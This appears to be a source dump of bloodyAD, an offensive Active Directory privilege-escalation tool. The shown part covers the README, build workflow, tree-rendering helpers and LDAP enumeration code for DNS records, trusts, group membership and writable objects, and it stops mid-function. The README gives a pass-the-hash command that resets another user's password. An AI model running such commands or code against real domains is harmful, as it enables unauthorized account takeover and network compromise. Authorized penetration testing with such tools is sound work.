├── .github ├── FUNDING.yml └── workflows │ └── release.yml ├── .gitignore ├── LICENSE ├── README.md ├── bloodyAD.py ├── bloodyAD ├── __init__.py ├── asciitree │ ├── __init__.py │ ├── drawing.py │ ├── traversal.py │ └── util.py ├── cli_modules │ ├── __init__.py │ ├── add.py │ ├── get.py │ ├── remove.py │ └── set.py ├── exceptions.py ├── formatters │ ├── __init__.py │ ├── accesscontrol.py │ ├── adschema.py │ ├── common.py │ ├── cryptography.py │ ├── dns.py │ ├── formatters.py │ ├── ldaptypes.py │ ├── structure.py │ └── winerror.py ├── main.py ├── md4.py ├── network │ ├── config.py │ └── ldap.py └── utils.py ├── pyproject.toml ├── requirements.txt └── tests ├── __init__.py ├── secrets.json ├── test_authentication.py ├── test_functional.py └── unit_test.py /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: CravateRouge 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 14 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Compile bloodyAD into standalone binary 2 | 3 | on: 4 | push: 5 | tags: 6 | - '*' 7 | workflow_dispatch: 8 | 9 | jobs: 10 | windows-build: 11 | runs-on: windows-latest 12 | steps: 13 | - uses: actions/checkout@v4 14 | with: 15 | ref: msldap 16 | - uses: actions/setup-python@v5 17 | with: 18 | python-version: '3.9' 19 | - name: Install dependencies 20 | run: | 21 | pip install . 22 | pip install pyinstaller 23 | - name: Compile 24 | run: pyinstaller --hidden-import unicrypto.backends.cryptography --hidden-import bloodyAD.cli_modules.add --hidden-import bloodyAD.cli_modules.get --hidden-import bloodyAD.cli_modules.remove --hidden-import bloodyAD.cli_modules.set --distpath . --onefile bloodyAD.py 25 | - name: Release 26 | uses: softprops/action-gh-release@v1 27 | with: 28 | files: bloodyAD.exe 29 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.pem 3 | *.pfx 4 | *.ccache 5 | venv/ 6 | *.egg-info/ 7 | dist/ 8 | build/ 9 | settings.json 10 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 CravateRouge 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | > :warning: autobloody has been moved to its own [repo](https://github.com/CravateRouge/autobloody) 2 | 3 | # ![bloodyAD logo](https://repository-images.githubusercontent.com/415977068/9b2fed72-35fb-4faa-a8d3-b120cd3c396f) bloodyAD 4 | 5 | `bloodyAD` is an Active Directory privilege escalation swiss army knife 6 | 7 | ## Description 8 | 9 | This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. 10 | 11 | `bloodyAD` supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. 12 | 13 | Exchange of sensitive information without LDAPS is supported. 14 | 15 | It is also designed to be used transparently with a SOCKS proxy. 16 | 17 | 18 | Simple usage: 19 | 20 | ```ps1 21 | bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!' 22 | ``` 23 | 24 | See the [wiki](https://github.com/CravateRouge/bloodyAD/wiki) for more. 25 | 26 | ## Support 27 | Like this project? Donations are greatly appreciated :relaxed: [![](https://img.shields.io/static/v1?label=Sponsor&message=%E2%9D%A4&logo=GitHub&color=%23fe8e86)](https://github.com/sponsors/CravateRouge) 28 | 29 | Need personalized support? send us an [email](mailto:contact@cravaterouge.com) or check our website [cravaterouge.com](https://cravaterouge.com/?utm_source=bloodyad_readme) to see all our cybersecurity services. 30 | 31 | ## Acknowledgements 32 | - Thanks to [@skelsec](https://github.com/skelsec) for his amazing libraries especially [MSLDAP](https://github.com/skelsec/msldap) which is now the engine on which bloodyAD is running. 33 | - Thanks to [impacket](https://github.com/fortra/impacket) contributors. [Structures](https://github.com/fortra/impacket/blob/master/impacket/structure.py) and several [LDAP attacks](https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/ldapattack.py) are based on their work. 34 | - Thanks to [@PowerShellMafia](https://github.com/PowerShellMafia) team ([PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)) and their work on AD which inspired this tool. 35 | - Thanks to [@dirkjanm](https://github.com/dirkjanm) ([adidnsdump.py](https://github.com/dirkjanm/adidnsdump)) and ([@Kevin-Robertson](https://github.com/Kevin-Robertson))([Invoke-DNSUpdate.ps1](https://github.com/Kevin-Robertson/Powermad/blob/master/Invoke-DNSUpdate.ps1)) for their work on AD DNS which inspired DNS functionnalities. 36 | - Thanks to [@p0dalirius](https://github.com/p0dalirius/) and his [pydsinternals](https://github.com/p0dalirius/pydsinternals) module which helped to build the shadow credential attack 37 | -------------------------------------------------------------------------------- /bloodyAD.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from bloodyAD import main 3 | 4 | if __name__ == "__main__": 5 | main.main() 6 | -------------------------------------------------------------------------------- /bloodyAD/__init__.py: -------------------------------------------------------------------------------- 1 | from .network.config import Config, ConnectionHandler 2 | 3 | __all__ = [ 4 | "Config", 5 | "ConnectionHandler", 6 | ] 7 | -------------------------------------------------------------------------------- /bloodyAD/asciitree/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from .drawing import BoxStyle 5 | from .traversal import DictTraversal 6 | from .util import KeyArgsConstructor 7 | from bloodyAD.formatters import common, formatters 8 | 9 | 10 | # Explore the trust_dict level by level and populate a branch provided in to_explore 11 | def branchFactory(to_explore, explored, trust_dict): 12 | next_explore = {} 13 | for ascii_parent, parent_dict in to_explore.items(): 14 | parent = ascii_parent.rsplit(":")[-1] 15 | if parent in explored: 16 | continue 17 | explored.append(parent) 18 | 19 | for child_name, child in trust_dict.get(parent, {}).items(): 20 | # If it's a root key in trust_dict, it means we have been able to connect to it and explore it 21 | # So there is somewhere an INBOUND parent 22 | # So do not print the node below this parent, it will be printed below one with INBOUND 23 | if not ( 24 | int(child["trustDirection"][0].decode()) 25 | & common.TRUST_DIRECTION["INBOUND"] 26 | ) and (child_name in trust_dict): 27 | continue 28 | # If it's already explored no need to print it again it will only show the opposite trust direction and nothing new 29 | if child_name in explored: 30 | continue 31 | 32 | # Format child in ascii representation 33 | ascii_child = "" 34 | flags = [] 35 | if ( 36 | int(child["trustDirection"][0].decode()) 37 | & common.TRUST_DIRECTION["OUTBOUND"] 38 | ): 39 | ascii_child += "<" 40 | # TODO: trustAttributes not printed all the time, find the root cause and fix it 41 | trustFlags = formatters.formatTrustAttributes(child["trustAttributes"][0]) 42 | if trustFlags: 43 | flags += trustFlags 44 | else: 45 | flags += [child["trustAttributes"][0].decode()] 46 | flags.append(formatters.formatTrustType(child["trustType"][0])) 47 | ascii_child += "|".join(flags) 48 | if ( 49 | int(child["trustDirection"][0].decode()) 50 | & common.TRUST_DIRECTION["INBOUND"] 51 | ): 52 | ascii_child += ">" 53 | ascii_child += ":" + child["trustPartner"][0].decode() 54 | parent_dict[ascii_child] = {} 55 | 56 | next_explore = {**next_explore, **parent_dict} 57 | 58 | if next_explore: 59 | branchFactory(next_explore, explored, trust_dict) 60 | 61 | 62 | class LeftAligned(KeyArgsConstructor): 63 | """Creates a renderer for a left-aligned tree. 64 | 65 | Any attributes of the resulting class instances can be set using 66 | constructor arguments.""" 67 | 68 | draw = BoxStyle() 69 | "The draw style used. See :class:`~asciitree.drawing.Style`." 70 | traverse = DictTraversal() 71 | "Traversal method. See :class:`~asciitree.traversal.Traversal`." 72 | 73 | def render(self, node): 74 | """Renders a node. This function is used internally, as it returns 75 | a list of lines. Use :func:`~asciitree.LeftAligned.__call__` instead. 76 | """ 77 | lines = [] 78 | 79 | children = self.traverse.get_children(node) 80 | lines.append(self.draw.node_label(self.traverse.get_text(node))) 81 | 82 | for n, child in enumerate(children): 83 | child_tree = self.render(child) 84 | 85 | if n == len(children) - 1: 86 | # last child does not get the line drawn 87 | lines.append(self.draw.last_child_head(child_tree.pop(0))) 88 | lines.extend(self.draw.last_child_tail(l) for l in child_tree) 89 | else: 90 | lines.append(self.draw.child_head(child_tree.pop(0))) 91 | lines.extend(self.draw.child_tail(l) for l in child_tree) 92 | 93 | return lines 94 | 95 | def __call__(self, tree): 96 | """Render the tree into string suitable for console output. 97 | 98 | :param tree: A tree.""" 99 | return "\n".join(self.render(self.traverse.get_root(tree))) 100 | 101 | 102 | # legacy support below 103 | 104 | from .drawing import Style 105 | from .traversal import Traversal 106 | 107 | 108 | class LegacyStyle(Style): 109 | def node_label(self, text): 110 | return text 111 | 112 | def child_head(self, label): 113 | return " +--" + label 114 | 115 | def child_tail(self, line): 116 | return " |" + line 117 | 118 | def last_child_head(self, label): 119 | return " +--" + label 120 | 121 | def last_child_tail(self, line): 122 | return " " + line 123 | 124 | 125 | def draw_tree(node, child_iter=lambda n: n.children, text_str=str): 126 | """Support asciitree 0.2 API. 127 | 128 | This function solely exist to not break old code (using asciitree 0.2). 129 | Its use is deprecated.""" 130 | return LeftAligned( 131 | traverse=Traversal(get_text=text_str, get_children=child_iter), 132 | draw=LegacyStyle(), 133 | )(node) 134 | -------------------------------------------------------------------------------- /bloodyAD/asciitree/drawing.py: -------------------------------------------------------------------------------- 1 | from .util import KeyArgsConstructor 2 | 3 | BOX_LIGHT = { 4 | "UP_AND_RIGHT": "\u2514", 5 | "HORIZONTAL": "\u2500", 6 | "VERTICAL": "\u2502", 7 | "VERTICAL_AND_RIGHT": "\u251c", 8 | } #: Unicode box-drawing glyphs, light style 9 | 10 | 11 | BOX_HEAVY = { 12 | "UP_AND_RIGHT": "\u2517", 13 | "HORIZONTAL": "\u2501", 14 | "VERTICAL": "\u2503", 15 | "VERTICAL_AND_RIGHT": "\u2523", 16 | } #: Unicode box-drawing glyphs, heavy style 17 | 18 | 19 | BOX_DOUBLE = { 20 | "UP_AND_RIGHT": "\u255a", 21 | "HORIZONTAL": "\u2550", 22 | "VERTICAL": "\u2551", 23 | "VERTICAL_AND_RIGHT": "\u2560", 24 | } #: Unicode box-drawing glyphs, double-line style 25 | 26 | 27 | BOX_ASCII = { 28 | "UP_AND_RIGHT": "+", 29 | "HORIZONTAL": "-", 30 | "VERTICAL": "|", 31 | "VERTICAL_AND_RIGHT": "+", 32 | } #: Unicode box-drawing glyphs, using only ascii ``|+-`` characters. 33 | 34 | 35 | BOX_BLANK = { 36 | "UP_AND_RIGHT": " ", 37 | "HORIZONTAL": " ", 38 | "VERTICAL": " ", 39 | "VERTICAL_AND_RIGHT": " ", 40 | } #: Unicode box-drawing glyphs, using only spaces. 41 | 42 | 43 | class Style(KeyArgsConstructor): 44 | """Rendering style for trees.""" 45 | 46 | label_format = "{}" #: Format for labels. 47 | 48 | def node_label(self, text): 49 | """Render a node text into a label.""" 50 | return self.label_format.format(text) 51 | 52 | def child_head(self, label): 53 | """Render a node label into final output.""" 54 | return label 55 | 56 | def child_tail(self, line): 57 | """Render a node line that is not a label into final output.""" 58 | return line 59 | 60 | def last_child_head(self, label): 61 | """Like :func:`~asciitree.drawing.Style.child_head` but only called 62 | for the last child.""" 63 | return label 64 | 65 | def last_child_tail(self, line): 66 | """Like :func:`~asciitree.drawing.Style.child_tail` but only called 67 | for the last child.""" 68 | return line 69 | 70 | 71 | class BoxStyle(Style): 72 | """A rendering style that uses box draw characters and a common layout.""" 73 | 74 | gfx = BOX_ASCII #: Glyhps to use. 75 | label_space = 1 #: Space between glyphs and label. 76 | horiz_len = 2 #: Length of horizontal lines 77 | indent = 1 #: Indent for subtrees 78 | 79 | def child_head(self, label): 80 | return ( 81 | " " * self.indent 82 | + self.gfx["VERTICAL_AND_RIGHT"] 83 | + self.gfx["HORIZONTAL"] * self.horiz_len 84 | + " " * self.label_space 85 | + label 86 | ) 87 | 88 | def child_tail(self, line): 89 | return " " * self.indent + self.gfx["VERTICAL"] + " " * self.horiz_len + line 90 | 91 | def last_child_head(self, label): 92 | return ( 93 | " " * self.indent 94 | + self.gfx["UP_AND_RIGHT"] 95 | + self.gfx["HORIZONTAL"] * self.horiz_len 96 | + " " * self.label_space 97 | + label 98 | ) 99 | 100 | def last_child_tail(self, line): 101 | return ( 102 | " " * self.indent 103 | + " " * len(self.gfx["VERTICAL"]) 104 | + " " * self.horiz_len 105 | + line 106 | ) 107 | -------------------------------------------------------------------------------- /bloodyAD/asciitree/traversal.py: -------------------------------------------------------------------------------- 1 | from .util import KeyArgsConstructor 2 | 3 | 4 | class Traversal(KeyArgsConstructor): 5 | """Traversal method. 6 | 7 | Used by the tree rendering functions like :class:`~asciitree.LeftAligned`. 8 | """ 9 | 10 | def get_children(self, node): 11 | """Return a list of children of a node.""" 12 | raise NotImplementedError 13 | 14 | def get_root(self, tree): 15 | """Return a node representing the tree root from the tree.""" 16 | return tree 17 | 18 | def get_text(self, node): 19 | """Return the text associated with a node.""" 20 | return str(node) 21 | 22 | 23 | class DictTraversal(Traversal): 24 | """Traversal suitable for a dictionary. Keys are tree labels, all values 25 | must be dictionaries as well.""" 26 | 27 | def get_children(self, node): 28 | return list(node[1].items()) 29 | 30 | def get_root(self, tree): 31 | return list(tree.items())[0] 32 | 33 | def get_text(self, node): 34 | return node[0] 35 | 36 | 37 | class AttributeTraversal(Traversal): 38 | """Attribute traversal. 39 | 40 | Uses an attribute of a node as its list of children. 41 | """ 42 | 43 | attribute = "children" #: Attribute to use. 44 | 45 | def get_children(self, node): 46 | return getattr(node, self.attribute) 47 | -------------------------------------------------------------------------------- /bloodyAD/asciitree/util.py: -------------------------------------------------------------------------------- 1 | class KeyArgsConstructor(object): 2 | def __init__(self, **kwargs): 3 | for k, v in kwargs.items(): 4 | setattr(self, k, v) 5 | -------------------------------------------------------------------------------- /bloodyAD/cli_modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CravateRouge/bloodyAD/1c0f2159865eaa147a474221e09561eee2e1828a/bloodyAD/cli_modules/__init__.py -------------------------------------------------------------------------------- /bloodyAD/cli_modules/get.py: -------------------------------------------------------------------------------- 1 | from bloodyAD import utils, asciitree 2 | from bloodyAD.exceptions import LOG 3 | from bloodyAD.network.ldap import Scope 4 | from bloodyAD.exceptions import NoResultError 5 | from bloodyAD.formatters import common 6 | from msldap.commons.exceptions import LDAPSearchException 7 | from typing import Literal 8 | import re, asyncio 9 | 10 | 11 | def children(conn, target: str = "DOMAIN", otype: str = "*", direct: bool = False): 12 | """ 13 | List children for a given target object 14 | 15 | :param target: sAMAccountName, DN, GUID or SID of the target 16 | :param otype: special keyword "useronly" or objectClass of objects to fetch e.g. user, computer, group, trustedDomain, organizationalUnit, container, groupPolicyContainer, msDS-GroupManagedServiceAccount, etc 17 | :param direct: Fetch only direct children of target 18 | """ 19 | if target == "DOMAIN": 20 | target = conn.ldap.domainNC 21 | scope = Scope.LEVEL if direct else Scope.SUBTREE 22 | if otype == "useronly": 23 | otype_filter = "sAMAccountType=805306368" 24 | else: 25 | otype_filter = f"objectClass={otype}" 26 | return conn.ldap.bloodysearch( 27 | target, 28 | f"(&({otype_filter})(!(distinguishedName={target})))", 29 | search_scope=scope, 30 | attr=["distinguishedName"], 31 | ) 32 | 33 | 34 | def dnsDump(conn, zone: str = None, no_detail: bool = False, transitive: bool = False): 35 | """ 36 | Retrieve DNS records of the Active Directory readable/listable by the user 37 | 38 | :param zone: if set, prints only records in this zone 39 | :param no_detail: if set doesn't include system records such as _ldap, _kerberos, @, etc 40 | :param transitive: if set, try to fetch dns records in AD trusts (you should start from a DC of your user domain to have exhaustive results) 41 | """ 42 | 43 | def domainDnsDump(conn, zone=None, no_detail=False): 44 | entries = None 45 | filter = "(|(objectClass=dnsNode)(objectClass=dnsZone))" 46 | prefix_blacklist = [ 47 | "gc", 48 | "_gc.*", 49 | "_kerberos.*", 50 | "_kpasswd.*", 51 | "_ldap.*", 52 | "_msdcs", 53 | "@", 54 | "DomainDnsZones", 55 | "ForestDnsZones", 56 | ] 57 | suffix_blacklist = ["RootDNSServers", "..TrustAnchors"] 58 | 59 | if no_detail: 60 | prefix_filter = "" 61 | for prefix in prefix_blacklist: 62 | prefix_filter += f"(!(name={prefix}))" 63 | filter = f"(&{filter}{prefix_filter})" 64 | 65 | dnsZones = [] 66 | for nc in conn.ldap.appNCs + [conn.ldap.domainNC]: 67 | try: 68 | entries = conn.ldap.bloodysearch( 69 | nc, 70 | filter, 71 | search_scope=Scope.SUBTREE, 72 | attr=["dnsRecord", "name", "objectClass"], 73 | ) 74 | for entry in entries: 75 | domain_suffix = entry["distinguishedName"].split(",")[1] 76 | domain_suffix = domain_suffix.split("=")[1] 77 | 78 | # RootDNSServers and ..TrustAnchors are system records not interesting for offensive normally 79 | if domain_suffix in suffix_blacklist: 80 | continue 81 | 82 | if zone and zone not in domain_suffix: 83 | continue 84 | 85 | # We keep dnsZone to list their children later 86 | # Useful if we have list_child on it but no read_prop on the child record 87 | if "dnsZone" in entry["objectClass"]: 88 | dnsZones.append(entry["distinguishedName"]) 89 | if entry["name"] not in suffix_blacklist: 90 | yield {"zoneName": entry["name"]} 91 | continue 92 | 93 | domain_name = entry["name"] 94 | 95 | if domain_name == "@": # @ is for dnsZone info 96 | domain_name = domain_suffix 97 | else: # even for reverse lookup (X.X.X.X.in-addr.arpa), domain suffix should be the parent name? 98 | if ( 99 | domain_name[-1] != "." 100 | ): # Then it's probably not a fqdn, suffix needed 101 | domain_name = domain_name + "." + domain_suffix 102 | 103 | ip_addr = domain_name.split(".in-addr.arpa") 104 | if len(ip_addr) > 1: 105 | decimals = ip_addr[0].split(".") 106 | decimals.reverse() 107 | while len(decimals) < 4: 108 | decimals.append("0") 109 | domain_name = ".".join(decimals) 110 | 111 | yield_entry = {"recordName": domain_name} 112 | 113 | for record in entry.get("dnsRecord", []): 114 | try: 115 | if record["Type"] not in yield_entry: 116 | yield_entry[record["Type"]] = [] 117 | if record["Type"] in [ 118 | "A", 119 | "AAAA", 120 | "NS", 121 | "CNAME", 122 | "PTR", 123 | "TXT", 124 | ]: 125 | yield_entry[record["Type"]].append(record["Data"]) 126 | elif record["Type"] == "MX": 127 | yield_entry[record["Type"]].append( 128 | record["Data"]["Name"] 129 | ) 130 | elif record["Type"] == "SRV": 131 | yield_entry[record["Type"]].append( 132 | f"{record['Data']['Target']}:{record['Data']['Port']}" 133 | ) 134 | elif record["Type"] == "SOA": 135 | yield_entry[record["Type"]].append( 136 | { 137 | "PrimaryServer": record["Data"][ 138 | "PrimaryServer" 139 | ], 140 | "zoneAdminEmail": record["Data"][ 141 | "zoneAdminEmail" 142 | ].replace(".", "@", 1), 143 | } 144 | ) 145 | except KeyError: 146 | LOG.error("[-] KeyError for record: " + record) 147 | continue 148 | 149 | yield yield_entry 150 | except (NoResultError, LDAPSearchException) as e: 151 | if type(e) is NoResultError: 152 | LOG.warning(f"[!] No readable record found in {nc}") 153 | else: 154 | LOG.warning(f"[!] {nc} couldn't be read on {conn.conf.host}") 155 | continue 156 | # List record names if we have list child right on dnsZone or MicrosoftDNS container but no READ_PROP on record object 157 | for nc in conn.ldap.appNCs: 158 | dnsZones.append(f"CN=MicrosoftDNS,{nc}") 159 | dnsZones.append(f"CN=MicrosoftDNS,CN=System,{conn.ldap.domainNC}") 160 | for searchbase in dnsZones: 161 | try: 162 | entries = conn.ldap.bloodysearch( 163 | searchbase, 164 | "(objectClass=*)", 165 | search_scope=Scope.SUBTREE, 166 | attr=["objectClass"], 167 | ) 168 | for entry in entries: 169 | # If we can get objectClass it means we have a READ_PROP on the record object so we already found it before 170 | if ( 171 | entry.get("objectClass") 172 | or entry["distinguishedName"] == searchbase 173 | ): 174 | continue 175 | 176 | domain_parts = entry["distinguishedName"].split(",") 177 | domain_suffix = domain_parts[1].split("=")[1] 178 | 179 | domain_name = domain_parts[0].split("=")[1] 180 | if no_detail and re.match("|".join(prefix_blacklist), domain_name): 181 | continue 182 | 183 | if domain_name[-1] != "." and domain_suffix != "MicrosoftDNS": 184 | # Then it's probably not a fqdn, suffix certainly needed 185 | domain_name = f"{domain_name}.{domain_suffix}" 186 | 187 | ip_addr = domain_name.split(".in-addr.arpa") 188 | if len(ip_addr) > 1: 189 | decimals = ip_addr[0].split(".") 190 | decimals.reverse() 191 | while len(decimals) < 4: 192 | decimals.append("0") 193 | domain_name = ".".join(decimals) 194 | 195 | yield {"recordName": domain_name} 196 | except (NoResultError, LDAPSearchException) as e: 197 | if type(e) is NoResultError: 198 | LOG.warning(f"[!] No listable record found in {nc}") 199 | else: 200 | LOG.warning(f"[!] {nc} couldn't be read on {conn.conf.host}") 201 | continue 202 | 203 | # Used to avoid duplicate entries if there is the same record in multiple partitions 204 | record_dict = {} 205 | record_entries = [] 206 | if transitive: 207 | trustmap = conn.ldap.getTrustMap() 208 | for trust in trustmap.values(): 209 | if "conn" in trust: 210 | record_entries.append(domainDnsDump(trust["conn"], zone, no_detail)) 211 | else: 212 | record_entries.append(domainDnsDump(conn, zone, no_detail)) 213 | 214 | basic_records = [] 215 | for records in record_entries: 216 | for r in records: 217 | keyName = "recordName" if "recordName" in r else "zoneName" 218 | # If it's a record with only the record name returns it later and only if we didn't find another record with more info 219 | if len(r) == 1 and keyName == "recordName": 220 | basic_records.append(r) 221 | continue 222 | yield_r = {} 223 | 224 | rname = r[keyName] 225 | if rname in record_dict: 226 | for r_type in r: 227 | if r_type == keyName: 228 | continue 229 | if record_dict[rname].get(r_type): 230 | if r[r_type] in record_dict[rname][r_type]: 231 | continue 232 | else: 233 | record_dict[rname][r_type] = [] 234 | yield_r[r_type] = r[r_type] 235 | record_dict[rname][r_type].append(r[r_type]) 236 | if not yield_r: 237 | continue 238 | else: 239 | yield_r = r 240 | record_dict[rname] = {} 241 | for k, v in r.items(): 242 | record_dict[rname][k] = [v] 243 | 244 | yield_r[keyName] = rname 245 | 246 | yield yield_r 247 | 248 | for basic_r in basic_records: 249 | if basic_r["recordName"] in record_dict: 250 | continue 251 | yield basic_r 252 | 253 | 254 | def membership(conn, target: str, no_recurse: bool = False): 255 | """ 256 | Retrieve SID and SAM Account Names of all groups a target belongs to 257 | 258 | :param target: sAMAccountName, DN, GUID or SID of the target 259 | :param no_recurse: if set, doesn't retrieve groups where target isn't a direct member 260 | """ 261 | ldap_filter = "" 262 | if no_recurse: 263 | entries = conn.ldap.bloodysearch(target, attr=["objectSid", "memberOf"]) 264 | for entry in entries: 265 | for group in entry.get("memberOf", []): 266 | ldap_filter += f"(distinguishedName={group})" 267 | if not ldap_filter: 268 | LOG.warning("[!] No direct group membership found") 269 | return [] 270 | else: 271 | # [MS-ADTS] 3.1.1.4.5.19 tokenGroups, tokenGroupsNoGCAcceptable 272 | attr = "tokenGroups" 273 | entries = conn.ldap.bloodysearch(target, attr=[attr]) 274 | for entry in entries: 275 | try: 276 | for groupSID in entry[attr]: 277 | ldap_filter += f"(objectSID={groupSID})" 278 | except KeyError: 279 | LOG.warning("[!] No membership found") 280 | return [] 281 | if not ldap_filter: 282 | LOG.warning("no GC Server available, the set of groups might be incomplete") 283 | attr = "tokenGroupsNoGCAcceptable" 284 | entries = conn.ldap.bloodysearch(target, attr=[attr]) 285 | for entry in entries: 286 | for groupSID in entry[attr]: 287 | ldap_filter += f"(objectSID={groupSID})" 288 | 289 | entries = conn.ldap.bloodysearch( 290 | conn.ldap.domainNC, 291 | f"(|{ldap_filter})", 292 | search_scope=Scope.SUBTREE, 293 | attr=["objectSID", "sAMAccountName"], 294 | ) 295 | return entries 296 | 297 | 298 | def trusts(conn, transitive: bool = False): 299 | """ 300 | Display trusts in an ascii tree starting from the DC domain as tree root. A->B means A can auth on B and A-B means bidirectional 301 | 302 | :param transitive: Try to fetch transitive trusts (you should start from a dc of your user domain to have more complete results) 303 | """ 304 | 305 | trust_dict = asyncio.get_event_loop().run_until_complete( 306 | conn.ldap.getTrusts(transitive, conn.conf.dns) 307 | ) 308 | 309 | # Get the host domain as root for the trust tree 310 | trust_root_domain = (".".join(conn.ldap.domainNC.split(",DC="))).split("DC=")[1] 311 | if trust_dict: 312 | tree = {} 313 | asciitree.branchFactory({":" + trust_root_domain: tree}, [], trust_dict) 314 | tree_printer = asciitree.LeftAligned() 315 | print(tree_printer({trust_root_domain: tree})) 316 | 317 | 318 | def object( 319 | conn, 320 | target: str, 321 | attr: str = "*", 322 | resolve_sd: bool = False, 323 | raw: bool = False, 324 | transitive: bool = False, 325 | ): 326 | """ 327 | Retrieve LDAP attributes for the target object provided, binary data will be outputted in base64 328 | 329 | :param target: sAMAccountName, DN, GUID or SID of the target (if you give an empty string "" prints rootDSE) 330 | :param attr: attributes to retrieve separated by a comma, retrieves all the attributes by default 331 | :param resolve_sd: if set, permissions linked to a security descriptor will be resolved (see bloodyAD github wiki/Access-Control for more information) 332 | :param raw: if set, will return attributes as sent by the server without any formatting, binary data will be outputted in base64 333 | :param transitive: if set with "--resolve-sd", will try to resolve foreign SID by reaching trusts 334 | """ 335 | attributesSD = [ 336 | "nTSecurityDescriptor", 337 | "msDS-GroupMSAMembership", 338 | "msDS-AllowedToActOnBehalfOfOtherIdentity", 339 | ] 340 | conn.conf.transitive = transitive 341 | entries = conn.ldap.bloodysearch(target, attr=attr.split(","), raw=raw) 342 | rendered_entries = utils.renderSearchResult(entries) 343 | if resolve_sd and not raw: 344 | for entry in rendered_entries: 345 | for attrSD in attributesSD: 346 | if attrSD in entry: 347 | e = entry[attrSD] 348 | if not isinstance(e, list): 349 | entry[attrSD] = utils.renderSD(e, conn) 350 | else: 351 | entry[attrSD] = [utils.renderSD(sd, conn) for sd in e] 352 | yield entry 353 | else: 354 | yield from rendered_entries 355 | 356 | 357 | def search( 358 | conn, 359 | base: str = "DOMAIN", 360 | filter: str = "(objectClass=*)", 361 | attr: str = "*", 362 | resolve_sd: bool = False, 363 | raw: bool = False, 364 | transitive: bool = False, 365 | ): 366 | """ 367 | Search in LDAP database, binary data will be outputted in base64 368 | 369 | :param base: DN of the parent object 370 | :param filter: filter to apply to the LDAP search (see Microsoft LDAP filter syntax) 371 | :param attr: attributes to retrieve separated by a comma 372 | :param resolve_sd: if set, permissions linked to a security descriptor will be resolved (see bloodyAD github wiki/Access-Control for more information) 373 | :param raw: if set, will return attributes as sent by the server without any formatting, binary data will be outputed in base64 374 | :param transitive: if set with "--resolve-sd", will try to resolve foreign SID by reaching trusts 375 | """ 376 | attributesSD = [ 377 | "nTSecurityDescriptor", 378 | "msDS-GroupMSAMembership", 379 | "msDS-AllowedToActOnBehalfOfOtherIdentity", 380 | ] 381 | conn.conf.transitive = transitive 382 | if base == "DOMAIN": 383 | base = conn.ldap.domainNC 384 | entries = conn.ldap.bloodysearch( 385 | base, filter, search_scope=Scope.SUBTREE, attr=attr.split(","), raw=raw 386 | ) 387 | rendered_entries = utils.renderSearchResult(entries) 388 | if resolve_sd and not raw: 389 | for entry in rendered_entries: 390 | for attrSD in attributesSD: 391 | if attrSD in entry: 392 | e = entry[attrSD] 393 | if not isinstance(e, list): 394 | entry[attrSD] = utils.renderSD(e, conn) 395 | else: 396 | entry[attrSD] = [utils.renderSD(sd, conn) for sd in e] 397 | yield entry 398 | else: 399 | yield from rendered_entries 400 | 401 | 402 | # TODO: Search writable for application partitions too? 403 | def writable( 404 | conn, 405 | otype: Literal["ALL", "OU", "USER", "COMPUTER", "GROUP", "DOMAIN", "GPO"] = "ALL", 406 | right: Literal["ALL", "WRITE", "CHILD"] = "ALL", 407 | detail: bool = False, 408 | # partition: Literal["DOMAIN", "DNS", "ALL"] = "DOMAIN" 409 | ): 410 | """ 411 | Retrieve objects writable by client 412 | 413 | :param otype: type of writable object to retrieve 414 | :param right: type of right to search 415 | :param detail: if set, displays attributes/object types you can write/create for the object 416 | """ 417 | # :param partition: directory partition a.k.a naming context to explore 418 | 419 | ldap_filter = "" 420 | if otype == "USER": 421 | ldap_filter = "(sAMAccountType=805306368)" 422 | elif otype == "OU": 423 | ldap_filter = "(|(objectClass=container)(objectClass=organizationalUnit))" 424 | else: 425 | if otype == "ALL": 426 | objectClass = "*" 427 